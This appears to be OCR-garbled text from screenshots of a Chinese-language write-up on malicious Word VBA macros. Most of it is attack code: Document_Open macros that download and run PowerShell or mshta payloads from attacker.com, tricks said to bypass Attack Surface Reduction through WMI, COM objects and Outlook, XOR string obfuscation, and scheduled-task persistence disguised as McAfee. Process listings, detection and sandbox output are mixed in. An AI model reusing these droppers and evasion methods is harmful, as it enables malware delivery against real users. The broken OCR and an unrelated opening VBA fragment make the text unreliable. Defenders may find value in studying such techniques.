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Sub Datachk() ~FrisdviE On Error Resume Next
On Error Resume Next Set CatWbk = Workbooks(Application. ActiveWindow. Caption)

Dim rl, kk, 1 &s Long Dim arr() As Strins, text As String, Ver As String, NC As Long
Dim IsEng A= Boolean Dim VerlE As Inteszer
Dim Ret, CatWhkNm, ©_sfz, dict, d_add, arr, test VerlK = vbYes . . . .
(“appdata”™) & "\Cathconfig. ini
oet dict = (”scripting.dictiunaryﬂ) ’ : . . .
Set d_add = (“scriptine. dictionary’ ) (" appggta )& "NCat™)
Set CatWbklNm = Workbooks(Application. ActiveWindow. Cap } It Nut Dir (Path) Then
"iEEind
rl = CatWbklm Range (“A655367). End(x1Up). Row " ARG —IT text = String(255, 0) . T )
test = Timer NC = GetPrivateProfileString(“ASSISTANT®, “text”, “Default”, text, 255, Pat
If NC <» 0 Then text = Leftd(text, NC)
If Hot PAGE = 0 And C row = 1 Then .
Sheests(” @?{ﬁ%ﬁ*ﬁ . Rows( 1:49"). Copy Destination:=Sheests(” ﬂ?f . Rows (mark * Ver = Strlng (255, U:'
Set . }TagdhEaKSG“GE)LD§&U0n = . Rows (mark * PAGE + 1) i : HNC = GetPrivateProfileString ("ASSISTANT®, “Version”, “Default”, Ver, 255, Pa

.Colls (PAGE * mazk + 5, 1) = =335 “%E Tf NC <> 0 Then Ver = Left$(Ver, NC)

.Cells(PAGE # mark Elze
"Cells(PACE * mark CatWbk. Sheets(1). Label?2. Caption = "BHhisiT, BN E=. ~
.Cells(PAGE marl

Cells(PAGE * mark + 6, 4 pod 11 - 7
Colls(PAGE * mark ). Value =PME:+ 1 s If Not ?er = Sheetd. Labell. Caption Then VerOEK = MsgBox ("SI |BRRAH LR & Ve
i

.Calls(PAGE * mark 17) = "=pa3s” ' B tﬁﬁ%

_f._

orice = False Then R e s

Hot arr(l) = “" Then .Cells(PAGE # mark +

Hot arr(2) “" Then .Cells(PAGE * mark

Hot arr(3) “" Then .Cells(PAGE * mark

Hot arr(d) “" Then .Cells(PAGE * mark

Not arr(5) “" Then .Cells(PAGE * mark

Not arr(@) “" Then .Cells(PAGE * mark

Hot arr(7) = “" Then .Cells(PAGE * mark

Hot arr(3) “" Then .Cells(PAGE * mark 14}, Value arr(g)

Hot arr(3) “" Then .Cells(PAGE * mark 16), Value = arr(D)

Hot arr(10) " Then .Cells(PAGE * mark + 8 17). Value = arr(l10)

Not arr(11) " Then .Cells(PAGE * mark + &, 18).Value = arr(11)
_Cells(PAGE * mark + 5, 6).Value = “HEHH: “ & CatWoklm Cells(l, 13).Value

8). Value wfm. 7 & arr(l)
2], Value

107, Value
107, Value
127, Value
127, Value
14}, Value

) T & arr(3)
“F&$¢ " & arr(5)

arr(h)

“Bafh. Y & arr(7)

R R R AR R *
DODOEBPOEﬁPOCDDOCD
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£ Microsoft Visual Basic for Applications - 11 - [ThisDocument (f£73)]
2 iEp REE WENY BAO B0 #ED EFR IBD JMHEEFA) s0W EEH

W= - 4|9 b @ W EEFW (@I a1 A _
= H & B} Private Sub I t_Open()
= Ci]l_{&ejilu coument_Open
@ Hormal End Sub
Elﬁ Project (11}
EI% Microsoft Word ¥E Sub evil()

i @ Thi=Document . .
[:l 2|\ Set shell object = Createlbject("WSeript. Shell®™)
shell object. Bun “powershell. exe —WoLogo iex ({Hewbject Het.WebClient). DowrleoadString( http:/fattacker. com/fmx’ 107, 0

End Sub
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¥ Process Explorer - Sysinternals: www.sysinternals.com [WIN-JQVD7QFFPQO\test7] . o
File Options View Process Find Users Help
W& =EOE A A ] | &+ |
Frocess CFU Priwvate B... _ FID Description Company Name o
(bsmedtc. exe £ 0.01 6,388 K 3.076 K 2536 Microsoft S FH it .. Microsoft Corporation
[pf]svchost. exe 5,572 K 21,860 £ 4092 Windows BEFHEE Microsoft Corporation
Esppsvn. EXE 2,784 E 5,440 E 1816 Microsoft ${FEHFFE L. Microseft Corporation
Dlsmasementﬁ.zent]{ns. .. 0. 01 5. 260 K & 144 E 768
Blﬂses:rnh]ndexe:r. exe < 0.01 42 056 E 28,544 E 3444 Microsoft Windows Sea... MWicrosoft Corporaticon
El SearchProteocolHo. . . |< 0.01 3,432 E 9,436 E 3672
El SearchFilterHost. .. 3. 8684 E 10, 136 E 3760
[ taskhost. exe 0. 01 7.876 K 7,408 E| 3264 Windows EEFIFHEE Microsoft Corporation
E]'taskhus't. exe 5. 344 E 10,404 £ 5492
EOEP‘PE‘\"C. EEE 3,332 E 11, 156 £ 6108
D]sass. Bxe 0. 06 6, 440 E 7.912 E 652 Lecal Security Auther. .. Microseft Corporaticn
El lzm. exe £ 0.01 2,780 K 2. 424 K ood
E winlogon. exe 3,340 K 2,156 K J96
= ﬂ explorer. exe 0. 03 41,164 E 72,156 E 3260 Windows EEEFEE Microsoft Corporation
P mtooled. exe 0. 03 15,884 E 16, 348 K 2936 VMware Toocls Core Ser... VMware, Inec. g
+yPtSessionigent. exe 3,324 E 4, 752 E 2456 Pletinum user session... Trend Micro Inc.
= @iexpln:re. Bxe £ 0.0 13,292 E 16, 244 E 2504 Internet Explorer Microsoft Corporation
-:éiexplu:e. sxe 0. 02 159, 316 K 118, 436 E 2700 Internet Explorer Microsoft Corporation
@iexplu:e. BXE 21,160 E 15,768 E 1776 Internet Explorer Microsoft Corporation
l;z.,rm'u-nexuﬁli. exeE 0. 36 29,512 K 45,332 £ 5192 Sreinternals Process ... Sysinternals — www. ... i
= i < 0.01 11, 564 K 32,736 E 3244 Snipaste Le Liu 3
= mTIN‘I’ORD. EXE 0. 46 30, 444 E 113, 288 E 3408 Microsoft Word Microsoft Corporation
EDD’I’EIE]:LEII. ene < 0.01 35, 644 K 28, #32 E 4592 Windows PowerShell Microsoft Corporation
EITW < 0.01 208,14 E 369,992 £ 4120 Firefox Mozilla Corporation
firefox. exe Command Line:
firefox. exe C:\Windows'SysWiWe4 \WindowsPowerShell® O\ powershell. exe —Nolego iex ((NewObject Net. WebClient).Do
firefoz. exe wnloadString (" http://attacker. com/zxzxx’ })
firefox. exe Path:_ . . P e . e
C:\Windows'\5vsWiWed \WindowsPowerShell'\vl. O\powershell. exe
u_ firefoxz. exe T TETTUTIT 5 . -
£ £, Fallatl =Ko B =L B - b Sl = L e B - 4400 o3 £, 1L 11 Fad £
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ATT&CKID: T1059 (f£ MITRE ATT&CK™ 7BlE+HE9ET)
value: Attempts to bypass execution policy
option: -ep bypass
value: Attempts to bypass execution policy
option: -ep bypass
glE— A akE A nlEEdiE A
parent process: winword.exe
martian_process: "CAWindows\System32\WindowsPowerShell\w1.00\powershell.exe" -ep bypass iex ((New-Object Met.WebClient).Do

wnloadString("http://attacker.com/xomx"))

parent process: winword.exe

martian_process: powershell.exe -ep bypass iex ((New-Object Net. WebClient).DownloadString(http://attacker.com/x00c’))
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ASR (Attack surface reduction) , EITHCE B mED RN, 7T PLER I ENAPCE =B A
W

Const HIDDEN WINDOW = 0

strComputer = "."

Set objWMIService = GetObject ("win" & "mgmts"™ & ":\\" & strComputer & "‘root" & "\cimvZ")

Set objStartup = objWMIService.Get ("Win32 " & "Process" & "Startup")

Set objcConfig = cbjStartup.SpawnInstance

objConfig.ShowWindow = HIDDEN WINDOW

Set objProcess = GetObject ("winmgmts:\\" & strComputer & "\root"™ & "‘\cimv2" & ":Win32 " & "Process")
objProcess.Create "cmd.exe", Null, cbjConfig, intProcessID
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21 11 - ThisDocument ({£52)

Bypass ASR

GEF) ¥ Process Explorer - Sysinternals: www.sysinternals.com [WIN-JQVD7 QFFPQ0\test?] E=NECN
Eﬁ{&teiub Document Open (] Eile Options View Process Find Users Help
evi - = y =
oo IR
Frocess CPU Priwvate B... _ FID  Description Company Name
Sub ewil()
E Srstem Idle Process 98. 39 E 24 E 0
Const HIDDEW WINDOW = 0 £ B S¥stem 0. 02 176 K 2,208 E 4
strComputer = " | Interrupts 0. 96 E E n/a Hardware Interrupts a. ..
Set objfMIService = GetObject ("win” & “mamtz™ & “:\\" & strComputer & “hr L] 44 K 200 ® 404
Set ohjStartup = objWMIService. Get ("Win3Z_" & “Process” & "Startup”) K] smss. exe
Set objConfiz = objStartup. Spawninstance £ i) c&TsE. exe < 0.01 3,012 K 2,700 K 488
;b-,lc"i‘flﬁg- Sh"w""'lné"‘:DE.MEDEEH.—wIme AT ter & “\root” & "veind! B conhost. exe < 0.01 3,476 K 636 E 1556
et objProcess = GetObject ("winmgmts: strComputer roo cim
abjProcess. Create "powershell. exe —HoLoge iex [ (Hew—Object Het. WebClient]] | B| conhost. exe ERTIOE o T it 384 K 1388
E‘E CETEE. BHE 0. 06 10, 29 K 20, T4 E 3470
End Sub conhost. exe < 0.0 1,360 K 5, 516 K| 5952 BRSHOEHN Microsoft Corporation
=1 wininit. exe 1,688 E 520 K 548
El services. exe < 0.0 5,408 K & 272 K G544
£ @] svehost. exe 4,792 E 5,168 E 760 Windows BEZEE Microsoft Corporaticn
EE'WTI:IiPIVSE. gxe £ 0.01 13, 228 K 14, 880 E 2328
Em.ershell_ exe |< 0.01 57, 200 K 54, 888 §E 5220 Windows PowerShell Microsoft Corporation
umﬁhlp. exe < 0,01 4, 620 K 1,71t K d24 WMware Activatien Helper VMware, Inc.

E svchost. exe
E svchost. exe

=] E svchost. exe
Ed‘l—. exe

Command Line:
powershell. exe —Nologe iex ((New—Object Net. WebClient). DownloadString(’ http://attacker. com/zzzxx })

Path:

C:\Windows'\Svstem32\WindowsPowerShell'v1. 0'\powershell. exe

E svchost. exe
FBf|=vchest.
E svchost. exe

E spoolsv. exe
E svchost. exe

=] ﬂcweﬁmiceﬁhell. exe
= El ui%atchDeg. exe
@.uiSEﬂ.En‘t_ exe <
E coreFrameworkHos. . .
|:] OfficeClickToRun. exe

.01

.01
.01

01

01

< 0.01

28, 844
15, 104
11, 784
63, 268
1, 364
9, 888
3, 984
43, 276

K 33, 336

E

E 23, 004
K 3, 332
K 8, 620
K 10, 588
E 418
K 868
K 3, 408
E 44, 438

E

o O OE O O R e

120 Windows BETEE
1040 Windows
1124 Windows BETEE

1312 FEMEEFTEGREER

1364 Windows BETEE

1480 Trend Micro Anti-Malw. .

13386
3132 Client Sessicn Agent
1380

1544 Microsoft Office Clic...
- . 2 cac o P e s .
CPU Usage: 1.61%  Commit Charge: 60.99% Processes: 64 Physical Usage: 84.63%

Microsoft Corporation

Microscoft Corporation

Microsoft

Corporaticn
Microscft Corporaticn
Microsoft Corporation

Trend Micro Inc.

Trend Micro Inc.

Microsoft Corporation

L]



dgvrERzes | Bypass ASR

Const ShellBrowserWindow = ShellBrowserWindow COM ¥} &
"{COBAFDS0-F2A1-11D1-8455-00A0CS1F3880}"

Set SBW = GetObject("new:" & ShellBrowserWindow)
SBW.Document.Application.ShellExecute "cmd.exe"™, Null, "C:\Windows\System32", Null, 0

Set outlooklBpp = CreateCbject ("Outloock.zpplication™) nuth:nkiﬁé&
outlookApp.Createdbject ("Wscript.shell™) .Bun "calc.exe™, 0

Const ShellWindows = _

"I{SBA0OSST2-FeAB-11CF-A442-00A0CS0RABF3I9}"

Set SW = GetObject("new:" & ShellWindows) .Item()

SW.Document.Application.ShellExecute "calc.exe™, Null, "C:\Windows\System32", Null, 0
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Set outloockZpp = CreateCbject ("Cutlock.Zpplication™)
outlooklkpp.CreateCbject ("Wscript.shell") .Run "C:\Windows‘\system32\mshta.exe https://attacker.com/xxxxx", 0

Private Function gjtRMFzcLZuu(wavrGNDcPxeFwB As Variant, PrEXCkacshHgZ As Variant)
Dim auwlirTWvhEXww Ls String

auwirTWvhEXww = ""

For 1 = LBound(wavrGNDcPxeFwB) To UBound (wavrGNDcPx=FwB)

auwlrTWvhEXww = auwlrTWvhEXww & Chr (PrEXCkachHgZ (i) Xor wavrGNDcPxeFwE (1))

MNext

gjtEMFzcLiuu = auwilrTWvhEXww

End Function

Set JNwEOXFJYFyl = CreateCbhbject (gjtBMFezcLZuu (Array( (126 + 82), (5% + 70),248,(3 - 0),26, (((44 — 22) + 17) Xor ((4% - 23) + 212)),
gitBEMFzcLiuu (Array( (181 Xor 106),187, (3 XOR (297 - 142)),(76 + (4 — 1))),Brray({(34 XOR ((l66 — T7&6) + 47)),210, (245 ®OR (3 - 1)),
INwfOXFIYFyl.CreateCbject (gjtRMFzocLZuu (Array( (168 - 84), ({108 - 52) + 1lee), ({21 - 9) + 52),(1 + 15), (172 - 51),{(12 - 5),105, (1e3
g3 tRMFzcLZuu (Array ( (205 + 17), ((21 + 55) XOR 195), ((2 - 1) XOR 26), (293 - 145), (8 XOR 7), (49 XOR 175), (316 — 95), (20 + (73 - 32)
gitRMFzcLZuu (Arravy( (44 — 12),183, (198 + 24),((3% + 24) XOR 189),43,178,191, (260 - 52),217,(87 + 19), (115 + 5), (57 + &0), ({13 + 1
gitBEMFzcLZuu (Array(( (113 + 42) xXor (13% - 32)),150, (52 Xor (229 - 47)),(13 + &2),(({(1l%8 - 60) + 28) ®XorR ((&8 - 31) + (12% - 52})

https://github.com/BaptisteVeyssiere/vba-macro-obfuscator
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Sub Document Openi)

Set outlockipp = CreateCbject ("Cutlook.Application™)

outlooklpp.Createfbject ("Wecript.shell™) .Run "C:\Windows\system32'\mshta.exe https://attacker . com/xxxxx™, O
End Sub
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LHEF. FTH. 2= (0)
PR, e T ()
BATE®R. AREAFECHSERAREE (1)

HHIE #HHEMe Lk

Causes process to crash Process I0:2312 =5 .doc
Image Path: mehta.axe

HE. BEOAENREN (1)

HHE HHERE BB
Creales process Process ID- 2312 = in i doc
Image Path: %windirft\system 32\mehta.exe
hitpsid2lek , etidVWOkaGhig2.hia
Rootkit. HE#E (0)
AT E ) 5 oL LS ED (T)
HHE HHERE BB
Listens on port 127.00.1:51582 8 i doc
Listens on port 0.0.0.0:49171 =5 .doc
Listens an port 0.0.0.0:49173 = & i doc
Listens on port 0.0.0.0:49174 = in i doc
Listens on port 0.0.00:49175 =5 .doc
Listens on port 0.0.00:49176 7 & i doc
Connects ioremote URL orIP URLhetps:fd2iel atoetdWoksGQRIg2 hta = i doc
address

EM s [o8 & BES M waENR
d2lek wnet 443 - i - 7 doe
crld digicert com B0 - a7 Ml - 7 5 doe

5.8ymch.com i - 5 M, - 7 i 0B doc
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Python olevba.py test.doc

Sk Documer

] (m)i} OOEADT

outlookbpp.
nd Sub

Document_Open
shell

Wscript. shell
Fun

Cres

ste

or

or

m32hmshta. exe https:/fattacker. comfx

i

i

=N

=N

o

o
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Pukxlic Function SaveWebFile (ByVal vWekbFile As String, ByWVal vLocalFile As S5tring) As Boolean
'Dim oXMLHTTP As MSXMLZ .XMLHTTP

Dim i As Long

Dim vFF As Long

Dim oResp() As Bvte

Set oXMLHTTP 4 CreateCbject ("MSXMLZ . XMLHTTE™)
oXMLHATTF.Cpen "GET", wWekFile, False
o¥MLHTTP. Send

r.N
Do While (oXMLHTITIFP.readyState <> 4) q:%m_‘i “;Eg

DoEwvents

Loop
oResp = oXMLHTTP.responsceBody

vFF = FreeFile
If Dir(vLocalFile) «> "" Then
Kill wvLocalFile
End If
Open vLocalFile For Binary Ls #vFF
Put #vFF, , oResp
Close #vEF

S5et oXMLHTTF = Nothing
End Function

Sulky Document Open()
Dim downloadPath As String
Dim sc As String

Set outlooklhpp = GetCbhject ("winmgmts:Win32 Process")
downloadPath = Environ ("TEME") & "‘\\" & "acgeolw.hta"

u = "https:// wWww.p: agxc/ "
Call SaveWebFile(u, dowploadPathl
sc = "schtasks.exe /create /sc minute /mo 1 /tn SecurityMonmitor Jftr "™ & """c:\windows‘\svstem3Z\mshta.exe " & downloadPath & """"

Uy . FLLIIL ol
'Result = outlookdApp.Create (sc, Null, Hull, processid)
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' Create the TaskService okiject.
Set service = Createlbject ("Schedule.Service™)
Call service.Connect

' Get a folder to create a task definition in.
Dim rootFolder
Set rootFolder = service.GetFolder ("\™)

' The taskDefinition wariakle is the TaskDefinition object.
Dim taskDefinition

' The flags parameter iz 0 kecause it is not supported.

Set taskDefinition = service.NewTask (D)

' Set the regisctration info for the task by

' creating the RegistrationInfo okject.

Dim regInfo

Set regInfo = taskDefinition.RegistrationInfo
reginfo.Description = "Agent™

regInfo.fAuthor = "Hcafee™

Dim time

time = Datehdd("s"™, 10, HNow) 'start time = 10 seconds from now
startTime = XmlTime (Cime)

endTime = "2029-12-01T08:00:00" 'end date Terminator - Skynet arrives

trigger.StartBoundary = startTime
trigger.EndBoundary = endTime
trigger.DaysInterval = 1 'Task runs every day.
trigger.ID = "DailyTriggerId™

trigger.Enabled = True

' Add an action to the task to run notepad.exe.

Dim Action

Set Action = taskDefinition.Actions.Create (ActionTypeExec)
Aetion.Path = "iwindiri\system3izZ\ms" & "hta.exe "
Lotion.arguments = "htt" & "ps: /S www. ’ kh/™
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